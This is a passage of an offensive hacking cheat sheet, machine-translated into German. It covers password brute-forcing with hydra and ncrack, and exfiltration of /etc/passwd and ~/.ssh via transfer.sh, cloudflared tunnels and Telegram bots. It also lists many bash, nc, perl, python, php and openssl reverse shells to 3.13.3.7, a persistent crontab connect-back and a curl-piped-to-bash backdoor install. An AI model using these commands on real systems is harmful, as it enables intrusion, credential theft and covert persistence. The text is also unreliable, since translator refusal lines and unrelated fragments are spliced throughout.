nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
Offene TCP-Ports scannen:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(See Hackshell scan)
Einfacher Bash-Portscanner:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. Passwort-Hashes knacken**
1. [NTLM2password](https://ntlm.pw/) zum Knacken (Nachschlagen) von NTLM-Passwörtern
2. [wpa-sec](https://wpa-sec.stanev.org) zum Knacken (Nachschlagen) von WPA-PSK-Passwörtern
HashCat ist unser bevorzugtes Werkzeug für alles andere:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
Verwendung einer 10-Tage-7-16-Zeichen-Hashmask auf der GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
Knacke die `known_hosts`-Hashes von OpenSSH, um die IP-Adresse aufzudecken:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 Lies die FAQ.
Beachte, dass $6$-Hashes LANGSAM sind. Selbst die 1-Minuten-Hashmask für 7-16 Zeichen würde auf einem 8xRTX4090-Cluster viele Tage dauern.
Miete einen RTX-4090-GPU-Cluster bei vast.ai für $0.40/h und nutze dizcza/docker-hashcat:cuda (mehr dazu).
Andernfalls nutze Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis oder cracke auf deinen eigenen AWS-Instanzen.
3.xi. Passwörter / Schlüssel per Brute Force
Das Folgende dient zum Brute-Forcing (Erraten) von Passwörtern für ONLINE-DIENSTE.
Du kannst GMAIL-Konten nicht per Brute Force knacken.
SMTP AUTH/LOGIN IST BEI GMAIL DEAKTIVIERT.
Alle GMail-Brute-Force- und Passwort-Cracking-Tools sind FAKE.
Alle Tools sind auf segfault vorinstalliert:```shell ssh [email protected] # password is 'segfault'
(Vielleicht möchtest du deinen [eigenen EXIT-Knoten](https://www.thc.org/segfault/wireguard) verwenden)
Werkzeuge:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [Doku](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - großartig zum Ausprobieren aller SSH-Schlüssel auf einem Ziel-IP-Bereich.
Benutzernamen- & Passwortlisten:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THCs FAVORIT<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
Setze **B**enutzername/**P**asswortliste und **Z**ielhost.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
Nützliche Nmap-Parameter:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
Nützliche **Ncrack**-Parameter:```shell
-U "${ULIST}"
-P "${PLIST}"
Nützliche Hydra-Parameter:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
I don't see any content after "INPUT:" to translate. The chunk appears to be empty.```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
I see no content to translate. The input is empty. Please provide the actual Markdown content to translate.```shell
hydra -P "${PLIST}" -l user "ftp://$T"
[No input provided]```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
Inzwischen bemühen sich viele Leute im Bereich der Web-Spiele intensiv darum, stabilere Datenbanken zu erstellen, das Problem der zeitaufwändigen Datensynchronisation zu lösen, normale Angriffe effektiver zu machen und verschiedene maßgeschneiderte Dienste anzubieten …
Tatsächlich haben wir bereits ein gut etabliertes Ökosystem: Von unten nach oben betrachtet verfügen wir über Hochleistungs-Traffic-Generierungs-Engines, stabile und zuverlässige Basisbibliotheken, eine umfassende Infrastruktur und ein automatisiertes Testsystem. Von oben nach unten betrachtet gibt es das darauf aufbauende Geschäftssystem der oberen Ebene.
Jedoch haben Schwachstellenscanner inhärente Grenzen. Das grundlegendste Problem ist, dass ihre Payload-Listen zu präzise sind, um sich an die Unterschiede in den Exploit-Skripten anzupassen. Dies führt zu übersehenen Berichten und Fehlalarmen.
Doch WAF ist völlig anders, da es dem Benutzer eine extrem hohe Exploit-Flexibilität lässt. Mir wurde klar, dass wir einfach die Payload im WAF nutzen können, um einen Angriff zu starten.
Wie aufregend! Nach vielen Bemühungen stelle ich fest, dass jede Regel im kompilierten Coraza-Produkt entsprechende secrule-Markierungen aufweist. Extrahiere einfach die Payload der Regeln und starte den Angriff.
So haben wir das anfängliche Funktionsmodell.
Um die Website-Sicherheit zu schützen, müssen Website-Betreiber auch die Wirksamkeit ihres eigenen WAF testen. afrog verfügt bereits über ein ausgereiftes PoC-System, doch WAF hat kein solches für sich selbst.
Basierend auf diesen Ideen hat sich Pomez schnell entwickelt:```shell
nmap -p110,995 --script pop3-brute "$T"
[No content provided to translate.]```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
nmap -p5432 --script pgsql-brute "$T"
#### Schritte zur Reproduktion:
- Starten Sie eine GDB-Server-Sitzung auf Port 2345:
```SHELL
gdbserver :2345 binary
bash connect.sh
``````shell
nmap --script smb-brute "$T"
Es wurde kein Inhalt zum Übersetzen bereitgestellt. Der INPUT-Abschnitt ist leer.```shell
## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
I'm ready to translate the content. However, the input chunk appears to be empty—no Markdown content was provided after "INPUT:". Since there is no source text to translate, there is nothing to output.
If you provide the actual Markdown content for chunk 188, I'll translate it from English to German while preserving all formatting, code, and structure exactly.```shell
nmap -p5900 --script vnc-brute "$T" ncrack -P "${PLIST}" --user root "vnc://$T" hydra -P "${PLIST}" "vnc://$T" medusa -P "${PLIST}" –u root –M vnc -h "$T"
Bitte fügen Sie den zu übersetzenden Markdown-Inhalt ein.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run
No input content was provided to translate.```shell
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly
pentesteracademylab.appspot.com
---
<a id="exfil"></a>
## 4. Daten-Upload/Download/Exfil
Am einfachsten: Tippe `exfil` auf einem [Segfault Root Server](https://thc.org/segfault)
Oder verwende curl und starte deinen eigenen [PHP-Exfil-Server](https://github.com/Rouji/single_php_filehost).
<a id="file-encoding"></a>
### 4.i Dateikodierung
Trick, um eine Datei auf das Zielsystem zu übertragen, wenn das Zielsystem keinen Internetzugriff hat: Konvertiere die Binärdatei in ASCII-Text (Base64) und verwende dann Kopieren & Einfügen. (Alternativ kannst du die Elite-Konsole von gs-netcat mit `Ctrl-e c` verwenden, um die Datei über dieselbe TCP-Verbindung zu übertragen.)
Verwende `xclip` (auf deiner Workstation), um die codierten Daten direkt in deine Zwischenablage zu leiten:```shell
base64 -w0 </etc/issue.net | xclip
uuencode /etc/issue.net issue.net-COPY
<details>
<summary>Ausgabe - HIER KLICKEN</summary>
> begin 644 issue.net-COPY
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`
> `
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode
base64 -w0 </etc/issue.net
<details>
<summary>Ausgabe - HIER KLICKEN</summary>
> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY
openssl base64 </etc/issue.net
<details>
<summary>Ausgabe - HIER KLICKEN</summary>
> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY
xxd -p </etc/issue.net
<details>
<summary>Ausgabe - HIER KLICKEN</summary>
> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY
Füge in eine Datei auf dem entfernten Rechner ein (beachte das <<-'__EOF__', um Tabs oder $-Variablen nicht zu verfälschen).```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. Dateiübertragung - mit *tmux*
Starten Sie `tmux` auf Ihrer Workstation. Verbinden Sie sich auf beliebige Weise mit Ihrem Zielsystem (ssh, gs-netcat, ...).
#### Von REMOTE zu LOCAL (Download)
Verwenden Sie [Tmux-Logging](#tmux), um große Dateien vom Ziel über das Terminal auf Ihre Workstation herunterzuladen.
#### Von LOCAL zu REMOTE (Upload)
Starten Sie Ihr bevorzugtes Dekodierungswerkzeug (base64) auf dem REMOTE:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
Senden Sie auf Ihrer Workstation und von einem anderen Terminal aus base64-kodierte Daten. Sie werden auf Ihrem REMOTE in screen-xfer.txt ankommen.```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. Dateiübertragung - mit *screen*
#### Vom entfernten System zum lokalen Rechner (Download)
Lassen Sie auf Ihrem lokalen Rechner eine *screen*-Sitzung laufen und melden Sie sich aus dieser Shell heraus am entfernten System an. Weisen Sie Ihren lokalen *screen* an, die gesamte Ausgabe in screen-xfer.txt zu schreiben:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
Wir verwenden *openssl*, um unsere Daten zu kodieren, aber jede der oben genannten Kodierungsmethoden funktioniert. Dieser Befehl zeigt die base64-kodierten Daten im Terminal an, und *screen* schreibt diese Daten in *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
Stoppe die Protokollierung weiterer Daten auf deinem lokalen Bildschirm:
CTRL-a H
Dekodiere die Datei auf deinem lokalen Computer:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### Von LOKAL zu REMOTE (Upload)
Kodieren Sie die Daten auf Ihrem lokalen System:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
Auf dem entfernten System (und aus dem aktuellen screen heraus):```sh openssl base64 -d
Get *screen*, um die base64-kodierten Daten in die Zwischenablage von screen einzulesen, und füge die Daten aus der Zwischenablage in das entfernte System ein:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
Hinweis: Zwei CTRL-d sind erforderlich, da ein [Fehler in openssl](https://github.com/openssl/openssl/issues/9355) vorliegt.
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Dateiübertragung - mit gs-netcat und sftp
Verwende [gs-netcat](https://github.com/hackerschoice/gsocket) und kapsle das sftp-Protokoll darin ein. Ermöglicht Zugriff auf Hosts hinter NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
Führen Sie von Ihrer Workstation aus diesen Befehl aus, um eine Verbindung zum SFTP-Server herzustellen:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
Oder zum DUMPen einer einzelnen Datei:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
Auf dem Sender/Server: ---```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
Receiver: Rufen Sie die URL von einem beliebigen Browser aus auf, um das entfernte Dateisystem anzusehen/herunterzuladen.
#### 1 - Hochladen mit PHP:
Auf dem Empfänger:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
Auf dem Sender:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - Upload mit Python:
Auf dem Empfänger:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
Auf dem Sender:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. Datei-Download ohne curl
Mit Python nur herunterladen:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
Beispiel: Installieren von gsocket mit purl:```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
Laden Sie mit OpenSSL nur Folgendes herunter:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
mit Perl, nur herunterladen:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
Mit bash nur herunterladen:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
Kopieren & Einfügen in deine Bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
dann laden Sie eine Datei oder ein Verzeichnis hoch:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
Eine Liste unserer bevorzugten öffentlichen Upload-Seiten.
Ideal zum Synchronisieren großer Verzeichnismengen oder zum Neustarten abgebrochener Übertragungen. Das Beispiel überträgt das Verzeichnis 'warez' zum Empfänger über eine einzelne TCP-Verbindung vom Sender zum Empfänger.
Empfänger:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
Absender:```posh
rsync -av warez rsync://1.2.3.4:31337/up
Dasselbe verschlüsselt (OpenSSL):
Empfänger:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
Absender:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync kann zur Exfiltration über https / cloudflared raw TCP tunnels kombiniert werden.
(Zum Exfiltrieren unter Windows die rsync.exe aus dem gsocket Windows-Paket verwenden). Eine auffälligere Lösung ist syncthing.
Profi-Tipp: Faule Hacker tippen einfach exfil auf segfault.net ein.
Auf dem Empfänger (z. B. segfault.net) einen Cloudflare-Tunnel und WebDAV starten:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
Auf einem anderen Server:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
Greifen Sie unter Windows über den Datei-Explorer auf die Freigabe zu (um Dateien per Drag & Drop zu verschieben):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
Oder binden Sie die WebDAV-Freigabe unter Windows ein (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
Es gibt unzählige Upload-Dienste, aber TG ist eine nette Alternative. Holen Sie sich ein TG-Bot-Token vom TG BotFather. Erstellen Sie dann eine neue TG-Gruppe und fügen Sie Ihren Bot zur Gruppe hinzu. Ermitteln Sie die chat_id dieser Gruppe:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
target: build/MexicanWave
target-incremental: build/debug
docker run -v .:/opt/mount --rm --privileged multiarch/qemu-user-static --reset -p yes
docker rm -f buildMexicanWave &>/dev/null || echo 'kein buildMexicanWave-Container zum Löschen vorhanden'
docker build --rm -t mexican-wave -f docker/Dockerfile.build .
docker create --name buildMexicanWave mexican-wave
docker cp buildMexicanWave:/opt/mexican-wave/_build/prod/rel/mexican_wave build/MexicanWave
docker rm -f buildMexicanWave```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
Tipp: Verwende https://www.revshells.com/ 👌
5.i.a. Reverse Shell mit gs-netcat (verschlüsselt)
Siehe 6. Backdoors für einen Einzeiler, um eine voll funktionsfähige PTY-Reverse-Shell über https://gsocket.io/deploy bereitzustellen und darauf zuzugreifen.
Starte netcat, um auf Port 1524 auf deinem System zu lauschen:```sh nc -nvlp 1524
Nach der Verbindung [aktualisiere](#reverse-shell-interactive) deine Shell zu einer vollständig interaktiven PTY-Shell. Alternativ verwende [pwncat-cs](https://pwncat.org/) anstelle von netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
Auf dem entfernten System stellt dieser Befehl eine Verbindung zurück zu Ihrem System her (IP = 3.13.3.7, Port 1524) und gibt Ihnen eine Shell-Eingabeaufforderung:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
Alternativ kannst du auf dem entfernten System dies in die `~/.profile` oder die Crontab einfügen, um die Connect-Back-Shell neu zu starten (und gleichzeitig zu verhindern, dass mehrere Instanzen gestartet werden):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
5.i.c. Reverse-Shell mit cURL (verschlüsselt)
Verwende curlshell. Dies funktioniert auch über Proxys und wenn direkte TCP-Verbindungen in die Außenwelt verboten sind:```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
5.i.d Reverse-Shell mit cURL (Klartext)
Starten Sie ncat, um auf mehrere Verbindungen zu lauschen:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. Reverse Shell mit OpenSSL (verschlüsselt)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
I received no translatable content in this chunk. The input text after "INPUT:" is empty. Please provide the chunk content so I can translate it from English to German.```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
5.i.f. Reverse-Shell ohne /dev/tcp
Eingebettete Systeme haben nicht immer Bash, und der /dev/tcp/-Trick funktioniert nicht. Es gibt viele andere Möglichkeiten (Python, PHP, Perl, ..). Am liebsten laden wir netcat hoch und verwenden netcat oder telnet:
Auf dem entfernten System:```sh nc -e /bin/sh -vn 3.13.3.7 1524
Variante, falls *'-e'* nicht unterstützt wird:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|: verkürzt werden. (Dank an IA_PD).| :-Trick funktioniert nicht unter C-Shell/tcsh (FreeBSD), der ursprünglichen Bourne-Shell (Solaris) oder der Korn-Shell (AIX). Verwenden Sie stattdessen mkfifo.Variante für ältere /bin/sh:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Telnet-Variante:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Telnet-Variante, wenn mkfifo nicht unterstützt wird (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
Hinweis: Vergiss nicht, `rm /tmp/.fio` nach dem Login auszuführen.
<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse-Shell mit remote.moe und ssh (verschlüsselt)**
Es ist möglich, rohes TCP (z. B. eine Bash-Reverse-Shell) über [remote.moe](https://remote.moe) zu tunneln:
Auf deiner Workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
Auf dem Ziel(benötigt SSH und Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
Auf dem Zielsystem (Alternative; benötigt ssh, bash und mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
5.i.i. Reverse-Shell mit Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. Reverse-Shell mit Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. Reverse-Shell mit PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Upgrade einer Reverse-Shell zu einer PTY-Shell**
Alle oben genannten Reverse-Shells sind eingeschränkt. Zum Beispiel funktionieren *sudo bash* oder *top* nicht. Damit diese funktionieren, müssen wir die Shell zu einer echten PTY-Shell upgraden:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
The input content is empty. No Markdown text was provided to translate. Please supply the chunk content.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. Eine Reverse Shell zu einer vollständig interaktiven Shell upgraden**
...und wenn wir auch Ctrl-C usw. verwenden möchten, dann müssen wir den ganzen Weg gehen und die Reverse Shell zu einer echten, vollständig farbenfrohen interaktiven Shell upgraden:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
Kein Eingabetext zum Übersetzen bereitgestellt.```
stty raw -echo icrnl opost; fg
### Schnellinstallation```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. Reverse Shell mit socat (voll interaktiv)
...oder installiere socat und erledige es, ohne großes Herumgefummel:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. Hintertüren
Siehe [Reverse Shell / Dumb Shell](#reverse-shell) für einfache Einzeiler-Reverse-Shells.
<a id="gsnc"></a>
**6.i. Reverse Shell mit gs-netcat**
Meistens verwenden wir das automatisierte Bereitstellungsskript von gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
